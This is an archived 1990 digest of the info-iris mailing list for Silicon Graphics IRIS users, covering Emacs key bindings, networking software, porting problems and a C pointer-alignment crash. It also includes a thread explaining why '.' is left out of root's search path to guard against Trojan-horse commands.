GIF viewer or point me to where I might find one I sure would appreciate it. Thanks Kurtis MacFerrin macferrin@slsvax.harvard.edu macferrin@huche1.bitnet   Received: from vmb.brl.mil by VMB.BRL.MIL id aa24488; 11 Apr 90 19:50 EDT Received: from vmb.brl.mil by VMB.brl.MIL id aa24436; 11 Apr 90 19:39 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa24411; 11 Apr 90 19:20 EDT Received: from cunyvm.cuny.edu by SMOKE.BRL.MIL id aa16154; 11 Apr 90 19:12 EDT Received: from MCCLB0.MED.NYU.EDU by CUNYVM.CUNY.EDU (IBM VM SMTP R1.2.2MX) with BSMTP id 3512; Wed, 11 Apr 90 19:13:23 EDT Received: from mcirps2.med.nyu.edu by MCCLB0.MED.NYU.EDU; Wed, 11 Apr 90 19:14 EDT Received: by mcirps2.med.nyu.edu (5.52/890607.SGI) (for @mcclb0.med.nyu.edu:info-iris@brl.arpa) id AA20214; Wed, 11 Apr 90 19:17:05 DSD Date: Wed, 11 Apr 90 19:17:05 DSD From: root%mcirps2.med.nyu.edu@cunyvm.cuny.edu Subject: Emacs customization To: info-iris@BRL.MIL Message-id: <9004120217.AA20214@mcirps2.med.nyu.edu> X-Envelope-to: info-iris@brl.arpa If you are using Unipress brand emacs, I can help you a lot. The unipress release is not very good, but emacs is so flexible that you can fix most of the anoying problems. The serious problems are another matter. Your release should have a file ansi-iris.ml in the maclib directory. You can configure it from inside emacs. Make certain that your TERM environment var is set to ansi-iris ( This assumes that you are not using a bitmap driver. That is initalized from another file ). Edit ansi-iris.ml by changing the ""quoted literals by doing a control-q force literal command inside emacs. You would 1) put the cursor over the "x", control-q, then write-modified files, then reload the changed code by 'load iris-ansi.ml'. Press the button you just configured, and if it does what you want, you have cofigured you emacs. I have extended the buttons on the keyboard by using a prefix key. A shift up arrow moves by screen fulls, if you want, or a shift right arrow will move by words. You can make your emacs unusable by anyone except yourself if you want. I do not know gnu emacs, but I think that it should be similar. If anyone knows better, I would like to hear from you too. I would like to see more menu help and a function key label line on the screen. I am working on making that for character terminals and the iris screen. If more people are interested, I will post my efforts here. dan. -- +-----------------------------------------------------------------------------+ | karron@nyu.edu Dan Karron | | . . . . . . . . . . . . . . New York University Medical Center | | 560 First Avenue \ \ Pager <1> (212) 397 9330 | | New York, New York 10016 \**\ <2> 10896 <3> | | (212) 340 5210 \**\__________________________________________ | +-----------------------------------------------------------------------------+   Received: from vmb.brl.mil by VMB.BRL.MIL id aa24537; 11 Apr 90 20:00 EDT Received: from vmb.brl.mil by VMB.brl.MIL id ab24384; 11 Apr 90 19:20 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa24371; 11 Apr 90 19:08 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa16110; 11 Apr 90 19:01 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA04712; Wed, 11 Apr 90 15:49:39 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 11 Apr 90 15:27:59 GMT From: Chris Wagner Organization: Silicon Graphics, Research & Development Subject: Re: Multiprocessor Port Message-Id: <6232@odin.corp.sgi.com> References: <36101@watmath.waterloo.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I suggest you look at the manual apges for usinit(3P), usplock, uspsema, barrier, m_fork These are all located in libmpc.a - a full libc with you favorite routines (stdio, malloc, rand) single threaded, as well as a set of parallel programming facilities - semaphores (counting) spinlocks, barriers. Chris Wagner   Received: from vmb.brl.mil by VMB.BRL.MIL id aa24717; 11 Apr 90 20:36 EDT Received: from vmb.brl.mil by VMB.brl.MIL id ab24537; 11 Apr 90 20:07 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa24528; 11 Apr 90 19:54 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa16324; 11 Apr 90 19:47 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA07382; Wed, 11 Apr 90 16:32:58 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 11 Apr 90 12:18:47 GMT From: Jeff Hanson Organization: NASA/Lewis Research Center, Cleveland Subject: An apropos that works. Message-Id: <1990Apr11.121847.17365@eagle.lerc.nasa.gov> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Troy Norcross, the SGI SE from Indianapolis, sent me a tape with an apropos that really works, unlike the one on the net recently. It is from SGI from Benoit Marchand, Silicon Graphics (Montreal). I put it in the pub directory on vgr.brl.mil (192.5.23.6) in compressed tar format. It has an apropos list for standard software, NFS, Fortran, DWB and LPS for release 3.2 of IRIX. Creating the list takes about half an hour since it has to pcat every man page in the system. If you have local man pages you should be able to figure out how to add just these without rebuilding everything again. One word of caution, the program only looks for files that end in .z (pack format) so make sure your local man pages are packed and have a .z. Hope this is useful until the real thing arrives. -- *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* \ / \ / \ / \ / \ / \ / Jeff Hanson \ / \ / \ / \ / \ / \ / * * * * * * tohanson@gonzo.lerc.nasa.gov * * * * * * / \ / \ / \ / \ / \ / \ NASA Lewis Research Center / \ / \ / \ / \ / \ / \ * * * * * * * Cleveland, Ohio 44135 * * * * * * * \ / \ / \ / \ Telephone - (216) 433-2284 Fax - (216) 433-2182 \ / \ / \ / *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*   Received: from vmb.brl.mil by VMB.BRL.MIL id ab24717; 11 Apr 90 20:36 EDT Received: from vmb.brl.mil by VMB.brl.MIL id aa24631; 11 Apr 90 20:25 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa24581; 11 Apr 90 20:06 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa16425; 11 Apr 90 20:02 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA09125; Wed, 11 Apr 90 17:01:59 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 11 Apr 90 19:41:57 GMT From: Scott_Klosterman Organization: SDRC, Cincinnati Subject: Need info for using WorkSpace under Yellow Pages Message-Id: <1281@sdrc.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL A while back some-one posted a message which showed how to run workspace under Yellow Pages. Basically you just copy the /etc/services entry to your yp master. If some-one has a copy of this Please send it to me as I forgot what I did and I can't find the fix. Thanks uunet!sdrc!crscott   Received: from vmb.brl.mil by VMB.BRL.MIL id aa25384; 11 Apr 90 22:46 EDT Received: from vmb.brl.mil by VMB.brl.MIL id aa25300; 11 Apr 90 22:35 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa25272; 11 Apr 90 22:27 EDT Received: from SNOW-WHITE.MERIT-TECH.COM by SMOKE.BRL.MIL id aa17578; 11 Apr 90 22:24 EDT Received: by snow-white.merit-tech.com (4.1/SMI-DDN) id AA00781; Wed, 11 Apr 90 21:27:35 CDT Date: Wed, 11 Apr 90 21:27:35 CDT From: Mike Goss Message-Id: <9004120227.AA00781@snow-white.merit-tech.com> To: info-iris@BRL.MIL, sumax!polari!tima@beaver.cs.washington.edu Subject: Re: Personal IRIS Neophyte asks dumb questions... > Date: 10 Apr 90 15:37:31 GMT > From: tim anderson > Organization: PolarServ, Seattle WA > Subject: Personal IRIS Neophyte asks dumb questions... > Message-Id: <1520@polari.UUCP> > Sender: info-iris-request@BRL.MIL > To: info-iris@BRL.MIL > Status: RO ... > First, I really really want to network my PC to this thing. What do > I have to do to get this working? I know step one is to get a WD8003 > ethernet card, but beyond that I am a bit lost... For cheap ethernet support, you can get NCSA Telnet for your PC. This software supplies Telnet and FTP commands, and comes with source if you want to roll your own application. It supports several different PC Ethernet adapters. I've used it some, and it seems to work quite well. The only thing really lacking is file sharing, ala NFS (but for free software, it's still pretty impressive). You can get this software via anonymous FTP from "zaphod.ncsa.uiuc.edu", or via US Mail on diskette if you don't have FTP (send me e-mail if you need US Mail address; I don't have it handy at the moment). ... > Third, I want a NON BRAIN DEAD EDITOR, I use BRIEF religiously on my PC > and will SORELY miss using it. I really do not want to get very good at > 'vi'... > Editors are somewhat of a religion; personally I'm an Emacs believer. Since I switch around alot between machines, I've adopted Micro-Emacs as my standard editor. It's not as powerful as GNU, but it runs on just about every machine in existence (PC, Mac, BSD Unix, System V, Amiga, Atari, etc.). You can get source for the cost of a phone call from the author's BBS (or for a nominal fee from some of the public domain software places). The author and BBS are: Daniel M. Lawrence The Programmer's Room FIDO 201/2 (317) 742-5533 24 hours 300/1200 baud If you want the full-up GNU Emacs (for the Iris; it won't fit on a PC), I think it's available via anonymous FTP at "prep.ai.mit.edu", along with other GNU stuff. It's pretty huge, so you might be better off finding someone who's already got it on tape. ------------------------------ Mike Goss Merit Technology Inc. (214)733-7018 goss@snow-white.merit-tech.com   Received: from vmb.brl.mil by VMB.BRL.MIL id aa25971; 12 Apr 90 0:18 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa25658; 12 Apr 90 0:08 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa25638; 11 Apr 90 23:54 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa17986; 11 Apr 90 23:46 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA22168; Wed, 11 Apr 90 20:41:16 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 12 Apr 90 03:39:04 GMT From: Mark Moraes Organization: Department of Computer Science, University of Toronto Subject: Re: Any GIF viewers for IRIS 4D? Message-Id: <90Apr11.233850edt.3565@smoke.cs.toronto.edu> References: <2538@husc6.harvard.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL macferrin@slsvax.harvard.edu (Kurtis MacFerrin) writes: > I tried to make an X windows GIF viewer, but >it failed since we didn't have an Xos.h file which it required (is this for >Suns only?) Xos.h is the file X applications are supposed to use to avoid many system dependent decisions. The ones in the MIT R3/R4 distributions works fine. If SGI X doesn't have it, get it from the MIT distributions.   Received: from vmb.brl.mil by VMB.BRL.MIL id ab25971; 12 Apr 90 0:18 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab25658; 12 Apr 90 0:08 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ab25638; 11 Apr 90 23:54 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa17988; 11 Apr 90 23:46 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA22251; Wed, 11 Apr 90 20:42:16 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 12 Apr 90 03:05:59 GMT From: "Scott R. Presnell" Subject: mount(), nfsmount(), and amd(8) Message-Id: <13702@cgl.ucsf.EDU> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Hey there, I was trying to do a quick port of the NFS part of the automount daemon from comp.sources.unix but ld (or I) could not resolve the location of the nfsmount() function call. I applied "nm" to the libraries in /usr/lib and still couldn't find the stub or the source to nfsmount(). I did find mount and something like zmount and I see nfsmount is in the /usr/include/sys.s file for system call numbers. Wassup? Am I pulling a bozo, or is it not as described in the doc? IRIX 3.2.1 + NFS + Dev. + Fortran on a 4D/20G. Thanks. - Scott Presnell -- Scott Presnell +1 (415) 476-9890 Pharm. Chem., S-926 Internet: srp@cgl.ucsf.edu University of California UUCP: ...ucbvax!ucsfcgl!srp San Francisco, CA. 94143-0446 Bitnet: srp@ucsfcgl.bitnet   Received: from vmb.brl.mil by VMB.BRL.MIL id aa26200; 12 Apr 90 0:56 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac25971; 12 Apr 90 0:24 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa25967; 12 Apr 90 0:16 EDT Received: from umich.edu by SMOKE.BRL.MIL id aa18212; 12 Apr 90 0:06 EDT Received: from ubmts.cc.umich.edu by umich.edu (5.61/1123-1.0) id AA12406; Thu, 12 Apr 90 00:07:27 -0400 Date: Thu, 12 Apr 90 00:07:24 EDT From: Mary_Kay_Anderson@ub.cc.umich.edu To: info-iris@BRL.MIL Message-Id: <5051930@ub.cc.umich.edu> Subject: Character pointer c core dump What's wrong with this picture, or what's wrong with this cc compiler? The following dumps core at *lp=5: char buf[1024]; main() { long *lp; int i; lp = (long *)&buf[6]; *lp = 5; printf("%ld\n", *lp); } However.... If you replace the &buf[6] with &buf[0], it works the way you would expect and prints 5 to the screen. Looks like a bug? Thanks for any help you can give me. Tim Buxton OptiMetrics, Inc. Tim_Buxton@um.cc.umich.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id aa04574; 12 Apr 90 9:33 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa03721; 12 Apr 90 9:22 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa03609; 12 Apr 90 8:59 EDT Received: from aero4.larc.nasa.gov by SMOKE.BRL.MIL id aa21791; 12 Apr 90 8:05 EDT Received: Thu, 12 Apr 90 08:01:54 EST by aero4.larc.nasa.gov (5.52/5.6) Date: Thu, 12 Apr 90 08:01:54 EST From: "Brent L. Bates AAD/TAB MS361 x42854" Message-Id: <9004121501.AA00258@aero4.larc.nasa.gov> To: lsr-vax!lmo@uunet.uu.net Cc: info-iris@BRL.MIL Have you looked into Pixar? I think they may have a solution for 80% of your problem, that is showing stored images at a fast rate. I have seen demonstration where they load a couple dozen images into memory and then flip through them very fast. Your type of problem needs lots of memory. How much memory was in the machines you tested? SGI machines all come with 8Mb standard and that is just enough memory for the OS and not much more. For your type of problems, I would fill the machine to its maximum amount of memory, because you take a large performance hit when you have to swap off to disk. You gave the impression you though your PC-AT was faster than a 4D machine. I can't see any way that could be, even with poorly written software. -- Brent L. Bates NASA-Langley Research Center M.S. 361 Hampton, Virginia 23665-5225 (804) 864-2854 E-mail: blbates@aero4.larc.nasa.gov or blbates@aero2.larc.nasa.gov   Received: from vmb.brl.mil by VMB.BRL.MIL id aa05763; 12 Apr 90 10:15 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab04574; 12 Apr 90 9:44 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa04436; 12 Apr 90 9:24 EDT Received: from vm.nrc.ca by SMOKE.BRL.MIL id aa24284; 12 Apr 90 9:13 EDT Received: from VM.NRC.CA by VM.NRC.CA (IBM VM SMTP R1.2.2MX) with BSMTP id 8165; Thu, 12 Apr 90 09:12:44 EDT Received: by NRCVM01 (Mailer R2.06) id 8164; Thu, 12 Apr 90 09:12:44 EDT Date: Thu, 12 Apr 90 09:06:32 EDT From: Claude.P.Cantin%NRC.CA@vm.nrc.ca Subject: . in $path To: info-iris@BRL.MIL Message-ID: <9004120913.aa24284@SMOKE.BRL.MIL> We recently received a few SGI machines (a PI 4D25G, a 4D/240 and a 4D/280 Power Series). One of the first things I have noticed is that when running a program in the current directory, one has to type ./program I then looked in the /.cshrc file and found the following: #The absence of '.' in this path is quite necessary. #It closes an otherwise bad security breach. Can someone explain to me WHICH security breach it closes??? What could (potentially) happen if I add the '.' at the beginning of the path??? Did most of you leave it the way it is??? Or did you add it to your path?? Thank you for your replies, Claude Cantin (CANTIN@NRCVM01.BITNET)   Received: from vmb.brl.mil by VMB.BRL.MIL id ab05763; 12 Apr 90 10:15 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa05304; 12 Apr 90 10:05 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa05230; 12 Apr 90 9:53 EDT Received: from [129.99.23.10] by SMOKE.BRL.MIL id aa23617; 12 Apr 90 8:54 EDT Received: Thu, 12 Apr 90 05:00:29 -0700 from csduts1.lerc.nasa.gov by prandtl.nas.nasa.gov (5.61/1.2) Received: Thu, 12 Apr 90 08:01:33 EDT by csduts1.lerc.nasa.gov (5.51/LeRC(1.0)) Received: Thu, 12 Apr 90 08:08:33 EDT by avelon.lerc.nasa.gov (5.52/LeRC(1.0)) Date: Thu, 12 Apr 90 08:08:33 EDT From: Tony Facca Message-Id: <9004121208.AA25838@avelon.lerc.nasa.gov> To: flora.mmwb.ucsf.edu!miller2@cgl.ucsf.edu Subject: Re: EMACS customization Cc: info-iris%brl.mil@prandtl.nas.nasa.gov > Susan miller2%Cohen writes: > > Can someone tell me how to customize the EMACS editor for use with a Silicon > Graphics IRIS workstation? I would like to be able to use the function keys > at the top and the arrow keys particularly, but also other keys on the > keyboard which have no printed value. At the moment I'm getting an error > message about the key codes I'm using (down arrow for instance is ^[[A if > one can believe the quoted-insert response but this code gives problems in > fact). > Back in 1987 I wrote a Wordstar/Turbo-whatever editor emulator using Unipress Emacs. This worked well on the 3030's but I never ported it to the 4D's and has since lost interest in Emacs altogether (fell from grace, if you will). But fear not for my soul, I have become a born again believer in "vi" Anyway, here are a few lines from the .emacs_pro file which worked to set up the keys on the older Iris's, perhaps it will ring a bell for you. I seem to remember something about using emacs to do the "bind-to-key function" then pressing the key which you want the function bound to? Good Luck. If anyone is intersted in the entire function to emulate the Wordstart editor, let me know. ------------------------------------------------------------------------------ ;* Function: emacs2ws ;* version: 1.3 ;* date: July 27, 1987 ;* An MLisp function which is executed each time Emacs is entered. ;* This file is to be copied into the users home directory as ".emacs_pro" ;* ;* Set up the arrow keys and delete keys ;* (bind-to-key "previous-line" "\033A") (bind-to-key "next-line" "\033B") (bind-to-key "backward-character" "\033D") (bind-to-key "forward-character" "\033C") (bind-to-key "delete-next-character" "\177") ------------------------------------------------------------------------------ -- ----------------------------------------------------------------------------- Tony Facca | fsfacca@avelon.lerc.nasa.gov | phone: 216-433-8318 ----------------------------------------------------------------------------- You are at Witt's end. Passages lead off in *all* directions.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa06511; 12 Apr 90 11:21 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa06292; 12 Apr 90 11:10 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa06225; 12 Apr 90 10:50 EDT Received: from aero4.larc.nasa.gov by SMOKE.BRL.MIL id aa28382; 12 Apr 90 10:45 EDT Received: Thu, 12 Apr 90 10:45:42 EST by aero4.larc.nasa.gov (5.52/5.6) Date: Thu, 12 Apr 90 10:45:42 EST From: "Brent L. Bates AAD/TAB MS361 x42854" Message-Id: <9004121745.AA01073@aero4.larc.nasa.gov> To: Claude.P.Cantin%NRC.CA@vm.nrc.ca Subject: Re: . in $path Cc: info-iris@BRL.MIL Personally, I find the practice of NOT having '.' in your path, extremely paranoid. It assumes you can't trust any of the users on that machine. The "security hole" is that if you are in someone elses directory and you execute what you think is a system command and that person has a command by that name, they could cause you to do anything they want and you wouldn't know about it. You could always make it the last place to look by putting it at the end of the path. If you can't trust the people you work with, who can you trust?! -- Brent L. Bates NASA-Langley Research Center M.S. 361 Hampton, Virginia 23665-5225 (804) 864-2854 E-mail: blbates@aero4.larc.nasa.gov or blbates@aero2.larc.nasa.gov   Received: from vmb.brl.mil by VMB.BRL.MIL id aa06859; 12 Apr 90 11:43 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab06511; 12 Apr 90 11:32 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa06500; 12 Apr 90 11:19 EDT Received: from [130.59.1.2] by SMOKE.BRL.MIL id aa29241; 12 Apr 90 11:08 EDT Received: by chx400.switch.ch (5.57/Ultrix2.4-C) id AA01455; Thu, 12 Apr 90 17:09:20 +0200 Date: 12 Apr 90 17:06 +0100 From: Reinhard Doelz To: info-iris@BRL.MIL MMDF-Warning: Parse error in original version of preceding line at BRL.MIL Message-Id: <283:doelz@urz.unibas.ch> Subject: RE: . in $path The *root* may not use it, otherwise it's fine. Imagine you're su'ing around and some weird guy aliased ls to rm. If you're in his dir as root, you might easily do a strange 'ls' because the . is always executed first before looking in others like /bin or /usr/bin. The . in root's path, therefore, is ugly, but elsewhere you're biting your own neck. - Reinhard   Received: from vmb.brl.mil by VMB.BRL.MIL id aa07396; 12 Apr 90 12:19 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa07161; 12 Apr 90 12:08 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa07131; 12 Apr 90 11:51 EDT Received: from dukempd.phy.duke.edu by SMOKE.BRL.MIL id aa00926; 12 Apr 90 11:35 EDT Received: from physics.phy.duke.edu by dukempd.phy.duke.edu (5.59/1.1/2.10) id AA05708; Thu, 12 Apr 90 11:36:32 EDT Received: by physics.phy.duke.edu (4.0/2.1/4.0) id AA19375; Thu, 12 Apr 90 11:36:28 EDT Date: Thu, 12 Apr 90 11:36:28 EDT From: "Robert G. Brown" Message-Id: <9004121536.AA19375@physics.phy.duke.edu> To: Claude.P.Cantin%NRC.CA@vm.nrc.ca Subject: Re: . in $path Cc: info-iris@BRL.MIL That one is an easy one. IF you leave . in your path as root AND if a clever, malicious user exists on your system THEN they can, in principle, do something like create "Trojan Horse" versions of things like su or ls in their home directories. IF you should ever be (as root) in their home directories and use one of these commands, THEN they can do anything at all they wish with root privileges, including replacing the real su command and/or login command with ones that mail copies of the user passwd's every times someone logs in to the malefactor. It is actually sufficient to simply put the . LAST in the root path, at least for a "low security" system where you "trust" most of your users. In that way, you will always execute the real binary first even if a user has left a TH. They can always leave mistyped traps (sl for ls, us for su) but their odds of success go way down and besides, in a department (as opposed to a "public" facility) who is going to try this anyway. Along the same lines, members of wheel should NEVER su to root anywhere except in a "neutral" directory (like /usr/bin or /etc) where a user would already have to have been root to leave a TH or in their own home directory. This is because . is traditionally the first directory searched on a users path, and if Joe Administrator, as himself, tries to su to root in Harry Hacker's home directory then he really will search Harry's directory for a version of su first. I personally used to leave it last, but now I have removed it on general principles. It isn't that big a deal to type ./command instead of command on the few occasions I execute a script or binary not already on the SAFE root path. Dr. Robert G. Brown System Administrator Duke University Physics Dept. Durham, NC 27706 (919)-684-8130 Fax (24hr) (919)-684-8101 rgb@phy.duke.edu rgb@physics.phy.duke.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id aa07728; 12 Apr 90 12:43 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab07396; 12 Apr 90 12:33 EDT Received: from adm.brl.mil by VMB.BRL.MIL id aa07329; 12 Apr 90 12:14 EDT Received: from vm.nrc.ca by ADM.BRL.MIL id aa17164; 12 Apr 90 12:10 EDT Received: from VM.NRC.CA by VM.NRC.CA (IBM VM SMTP R1.2.2MX) with BSMTP id 1315; Thu, 12 Apr 90 11:40:31 EDT Received: by NRCVM01 (Mailer R2.06) id 1314; Thu, 12 Apr 90 11:39:59 EDT Resent-Date: Thu, 12 Apr 90 11:39:09 EDT Resent-From: Claude.P.Cantin%NRC.CA@vm.nrc.ca Resent-To: info-iris@BRL.MIL Received: from NRCVM01 by VM.NRC.CA (Mailer R2.06) with BSMTP id 0659; Thu, 12 Apr 90 11:28:07 EDT Received: from dino.squibb.com by VM.NRC.CA (IBM VM SMTP R1.2.2MX) with TCP; Thu, 12 Apr 90 11:28:03 EDT Received: from neumann (neumann.squibb.com) by dino.squibb.com; Thu, 12 Apr 90 11:23 EST Received: by neumann (5.52/5.7) id AA12906; Thu, 12 Apr 90 11:32:03 EDT Date: Thu, 12 Apr 90 11:32:03 EDT From: shaginaw%neumann.squibb.com@vm.nrc.ca Subject: Re: . in $path To: Claude.P.Cantin%NRC.CA@vm.nrc.ca Message-id: <9004121532.AA12906@neumann> X-Envelope-to: Claude.P.Cantin%NRC.CA@vm.nrc.ca Richard replied directly to me when (I believe) he wanted to reply to the list... ----------------------------Original message---------------------------- Our SGI machines are running IRIX 3.2. We see the same problem reported by Claude Cantin. All system cshrc files have no '.' specified in the path. Nevertheless, machines loaded with 3.2 shipped before late February have '.' in their $path (where does it come from?) while 3.2 shipped since late February must have '.' added by the user. I'd like to know: (1) Why leaving out '.' closes a security breach that couldn't be closed another way. (2) Where do earlier versions of 3.2 set a path WITH '.'; it's NOT in a system cshrc file. SGI couldn't help with these when I called it in. -- Rich -- ------------------------------------------------------------------------------- Squibb Institute for Medical Research -- Bristol-Myers Squibb Company Richard J. Shaginaw Internet Address: shaginaw@squibb.com Principal Systems Engineer Telephone: 609-921-5184 Macromolecular Modeling Department FAX: 609-683-6607 ===============================================================================   Received: from vmb.brl.mil by VMB.BRL.MIL id ab08143; 12 Apr 90 13:21 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac07728; 12 Apr 90 12:56 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa07612; 12 Apr 90 12:36 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa02947; 12 Apr 90 12:32 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA04621; Thu, 12 Apr 90 09:30:00 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 12 Apr 90 13:59:35 GMT From: "Loren (Buck" MMDF-Warning: Parse error in original version of preceding line at BRL.MIL Organization: Computer Sciences Corporation @ NASA Goddard Space Flight Center Subject: Re: Saving files under Sun PC-NFS Message-Id: <1622@dftsrv.gsfc.nasa.gov> References: <90101.091541RIE@psuvm.psu.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <90101.091541RIE@psuvm.psu.edu> RIE@psuvm.psu.edu writes: >After editing a file in my PC/AT whenever I want to save the file >directly on our Personal Iris using Sun PC-NFS i get the message >'Disk Full' and the file is not saved. However if i want to copy >a file from the PC hard disk (as diffent from direct memory) >to the PI using PC-NFS there is no problem. I had this problem with some custom software I was developing. I ended up changing the open/writes to fopen/fwrites and things worked. I was using Microsoft C 5.1. The thing that really bothers me about this is that supposedly in C, fopen should use open and fwrite should use write. Any comments about Microsoft C should be sent to the appropriate news group (one of those I don't normally read). B Cing U Buck Loren "Buck" Buchanan | internet: buck@drax.gsfc.nasa.gov | standard disclaimer CSC, 1100 West St. | uucp: ...!ames!dftsrv!drax!buck | "By the horns of a Laurel, MD 20707 | phonenet: (301) 497-2531 or 9898 | sky demon..."   Received: from vmb.brl.mil by VMB.BRL.MIL id ac08143; 12 Apr 90 13:21 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ad07728; 12 Apr 90 12:57 EDT Date: Thu, 12 Apr 90 12:42:57 EDT From: Gary S. Moss (VLD/VMB) To: Robert G. Brown cc: Claude.P.Cantin%NRC.CA@vm.nrc.ca, info-iris@BRL.MIL Subject: Re: . in $path Message-ID: <9004121242.aa07652@VMB.BRL.MIL> < It is actually sufficient to simply put the . LAST in the root < path, at least for a "low security" system where you "trust" < most of your users. In that way, you will always execute the < real binary first even if a user has left a TH. They can always < leave mistyped traps (sl for ls, us for su) but their odds of < success go way down... It is not necessary to misspell the TH, it is actually very common for a privileged user to attempt to execute a binary that is not in the default root search path, it happens all of the time. < and besides, in a department (as opposed to a "public" facility) who < is going to try this anyway. If you trust *everybody* on your system, then you probably aren't reading this, but otherwise, considering the potential harm, why risk it? How often do you need to search the current directory? Personally, I leave "." out of my normal search path, and I can type "./" *real* fast.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa09305; 12 Apr 90 14:37 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa08995; 12 Apr 90 14:26 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa08866; 12 Apr 90 14:07 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa06161; 12 Apr 90 13:46 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA08944; Thu, 12 Apr 90 10:35:47 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 12 Apr 90 18:07:48 GMT From: Richard Rosenthal Organization: USAETL, Fort Belvoir, Virginia Subject: resolv.conf Message-Id: <433@ai.etl.army.mil> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL (We crashed a disk and lost 3 weeks of files even with backups.) Could someone repost or e-mail what to put in the resolv.conf file so that host names are looked up first in /etc/hosts then on the name server? Thanks /s/ Rich Rosenthal richr@ai.etl.army.mil -- Richard Rosenthal Internet: richr@ai.etl.army.mil Engineer Topographic Labs UUCP: ...!ames!ai.etl.army.mil!richr Alexandria, VA 22060-5546 Phone: +1 202 355 3653   Received: from vmb.brl.mil by VMB.BRL.MIL id aa11706; 12 Apr 90 17:41 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa10621; 12 Apr 90 16:02 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa10530; 12 Apr 90 15:47 EDT Received: from SNOW-WHITE.MERIT-TECH.COM by SMOKE.BRL.MIL id aa10352; 12 Apr 90 15:32 EDT Received: by snow-white.merit-tech.com (4.1/SMI-DDN) id AA02050; Thu, 12 Apr 90 14:35:18 CDT Date: Thu, 12 Apr 90 14:35:18 CDT From: Mike Goss Message-Id: <9004121935.AA02050@snow-white.merit-tech.com> To: info-iris@BRL.MIL Subject: Re: . in $path > Date: Thu, 12 Apr 90 10:45:42 EST > From: "Brent L. Bates AAD/TAB MS361 x42854" > Message-Id: <9004121745.AA01073@aero4.larc.nasa.gov> > To: Claude.P.Cantin%NRC.CA@vm.nrc.ca > Subject: Re: . in $path > Cc: info-iris@BRL.MIL 